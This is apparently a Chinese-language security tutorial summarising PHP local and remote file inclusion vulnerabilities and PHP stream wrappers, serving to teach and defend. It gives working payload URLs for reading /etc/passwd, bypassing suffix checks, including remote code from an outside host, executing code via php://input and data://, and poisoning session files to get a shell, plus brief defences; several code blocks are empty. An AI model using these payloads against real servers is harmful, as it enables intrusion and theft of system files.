前言
本文主要总结文件包含漏洞和伪协议相关知识。文中部分内容直接或间接引用于其他大牛的文章中,我都会标明出处,如有侵权,请发邮箱联系我删除。多有不合理之处,望大佬指点。
文件包含漏洞
文件包含概述
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当做PHP来执行,这会为开发者节省大量的时间。这意味着可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。
PHP中的文件包含函数有以下四种:
1 | require(): 找不到被包含的文件时会产生致命错误,并停止脚本运行。 |
漏洞成因
为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。如果文件包含函数加载的参数没有经过过滤或者严格的定义,就可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
文件包含可以包含任意文件,即便被包含的文件并不是与当前编程语言相关,甚至为图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。
各类文件包含的利用方法都是一样的,只是包含文件的位置不同,从而做出了区分。
主要分为本地文件包含漏洞和远程文件包含漏洞。
本地文件包含漏洞
当包含的文件在服务器本地时,就形成了本地文件包含。
下面我们来简单做个测试:
1 |
|
因为文件包含可以包含任意文件,所以我们可以建立任意后缀文件进行包含,比如新建一个文件file.txt
,文件内容如下:
1 |
|
然后我们包含file.txt
文件:
如果包含的文件内容不符合php语言语法的,会直接将文件内容输出。
常见的敏感目录:
linux
1 | /etc/passwd // 账户信息 |
windows
1 | c:\boot.ini // 查看系统版本 |
如果开发者做了一定的限制,如限制了包含文件的后缀,如下:
1 |
|
这样的话,我们的file.txt
就会被识别为file.txt.php
,从而无法找到要包含的文件。
像这样的有限制本地文件包含漏洞,我们可以通过%00
截断、路径长度截断等方法来绕过。
%00
截断
方法:在文件名结尾加%00
。
条件:PHP版本小于5.3
、php.ini
文件中magic_quotes_gpc = off
、对可控参数并未使用addslashes
函数。
路径长度截断
方法:文件结尾加/./././././././来超出长度。
条件:在 windows OS 中点号需要长于256;linux OS 中要长于4096。
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
点号截断
方法:文件结尾加点号。
条件:在 windows OS 中点号需要长于256。
zip和phar伪协议绕过
适用于验证包含文件为特定后缀时。
zip://
新建zip文件,里面压缩着脚本,然后构造payload:
1 | http://127.0.0.1/file.php?file=zip://php.zip%23php.jpg |
即可绕过jpg后缀名。
phar://
要求:php大于5.3.0、php.ini的参数phar.readonly设置为off
先用phar类打包一个phar标准包
1 |
|
会生成一个zip的压缩文件。然后构造payload:
1 | http://127.0.0.1/file.php?file=phar://php.zip/php.jpg |
远程文件包含漏洞
当包含的文件在远程服务器上时,就形成了远程文件包含。
需要php.ini
中allow_url_include = on
以及allow_url_fopen=on
,且所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的,那么包含的远程服务器文件后缀不能是php
),否则我们将得到远程服务器的信息,而非目标服务器。
所以我们在利用远程包含文件漏洞时,不能用.php
后缀的文件,就要把.php
改为.txt
一类的后缀来包含。
当开发者对远程文件包含进行了后缀名限制时,我们也有很多绕过方法。
测试代码:
1 |
|
问号绕过
方法:结尾加问号
1 | http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt? |
井号绕过
方法:结尾加#
(url中为%23
)
1 | http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt%23 |
空格绕过
方法:结尾加空格(url中为%3f
)
1 | http://127.0.0.1/1.php?filename=http://192.168.91.133/FI/php.txt%3f |
防御措施
- PHP 中使用
open_basedir
配置限制访问在指定的区域 - 过滤.(点)/(反斜杠)\(正斜杠)
- 禁止服务器远程文件包含
session文件包含
当我们的目标站点没有上传功能并且也不能远程文件包含时,我们就可以考虑包含session文件或者其它可以记录客户端输入的文件。
原理
当我们访问网站时,服务器日志会记录我们的行为,当我们的访问链接中含义恶意代码时,也会被记录到日志中,从而通过包含日志可以进行getshell。
利用手段
由于我们可以通过phpinfo
的信息来获取到session的存储位置,当其中的内容可控时,我们就可以将恶意代码存储到该目录下,从而getshell。
通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:
示例代码:
1 |
|
上述php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+session id,session id可以通过开发者模式获取。
获取后拼接session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6
。
到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:
1 | username|s:4:"ctfs"; |
通过上面的分析,我们可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。
当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo() ;? >后,会在/var/lib/php/session目录下存储session的值。
1 | [root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a |
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
类似的还有临时文件包含。
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。
包含的文件名的获取方法:爆破、配合phpinfo页面的php variables,获取到上传文件的存储路径和临时文件名。
伪协议
PHP伪协议事实上就是支持的协议与封装协议,共十二种。
伪协议常常用于文件包含漏洞之中。
以下总结部分常用的伪协议。
file://
用于访问本地文件系统的文件。
条件:allow_url_fopen: off/on
、allow_url_include: off/on
用法及示例:
1 | Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 绝对路径 |
php://
协议 | 作用 |
---|---|
php://input | 可以访问请求的原始数据的只读流,在POST请求中访问POST的data 部分,在enctype="multipart/form-data" 的时候php://input 是无效的。 |
php://output | 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。 |
php://fd | (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。 |
php://memory php://temp | (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB )存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 |
php://filter | (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one) 的文件函数非常有用,类似 readfile() 、file() 和 file_get_contents() ,在数据流内容读取之前没有机会应用其他过滤器。 |
其中最常用的是php://filter
和 php://input
。
php://input
将POST输入流当做PHP代码执行。
条件:allow_url_include:on
、allow_url_fopen:on/off
用法:将要执行的php代码直接在post中提交。
示例:
1 | http://192.168.6.128:8001/vulnerabilities/fi/?page=php://input |
php://filter
可以作为一个中间流来处理其他流,可进行任意文件的读取,一般用于读取php的源代码。
条件:allow_url_fopen: off/on
、allow_url_include: off/on
用法:
名称 | 描述 | 备注 |
---|---|---|
resource=<要过滤的数据流> | 指定了你要筛选过滤的数据流。 | 必选 |
read=<读链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
write=<写链的筛选列表> | 可以设定一个或多个过滤器名称,以管道符(|)分隔。 | 可选 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
参数见下:
字符串过滤器 | 作用 |
---|---|
string.rot13 | 等同于str_rot13() ,rot13变换 |
string.toupper | 等同于strtoupper() ,转大写字母 |
string.tolower | 等同于strtolower() ,转小写字母 |
string.strip_tags | 等同于strip_tags() ,去除html、PHP语言标签 |
转换过滤器 | 作用 |
---|---|
convert.base64-encode & convert.base64-decode | 等同于base64_encode() 和base64_decode() ,base64编码解码 |
convert.quoted-printable-encode & convert.quoted-printable-decode | quoted-printable 字符串与 8-bit 字符串编码解码 |
压缩过滤器 | 作用 |
---|---|
zlib.deflate & zlib.inflate | 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
bzip2.compress & bzip2.decompress | 同上,在本地文件系统中创建 bz2 兼容文件的方法。 |
加密过滤器 | 作用 |
---|---|
mcrypt.* | libmcrypt 对称加密算法 |
mdecrypt.* | libmcrypt 对称解密算法 |
示例:
1 | ?page=php://filter/read=string.toupper/resource=http://www.example.com |
zlib:// & zip:// & bzip2://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等。
条件:allow_url_fopen: off/on
、 allow_url_include: off/on
用法及示例:
1 | http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz |
data://
自PHP>=5.2.0
起,可以使用data://
数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
条件:allow_url_fopen:on
、 allow_url_include:on
用法:
1 | data://text/plain, |
示例:
1 | http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?> |
phar://
phar://
协议与zip://
类似,同样可以访问zip格式压缩包内容。
示例:
1 | http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt |
另外,在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://
协议对象注入技术。具体原理可以参考我另外一篇总结中所写:
参考文章:php反序列化漏洞总结
ftp://
一种提供网络之间共享文件的协议,可以在计算机之间可靠、高效地传送文件。FTP协议包括两个组成部分,其一为FTP服务器,其二为FTP客户端。其中FTP服务器用来存储文件,用户可以使用FTP客户端通过FTP协议访问位于FTP服务器上的资源。在开发网站的时候,通常利用FTP协议把网页或程序传到Web服务器上。
我们见到的大量CMS系统,也都是通过ftp来进行文件传输的。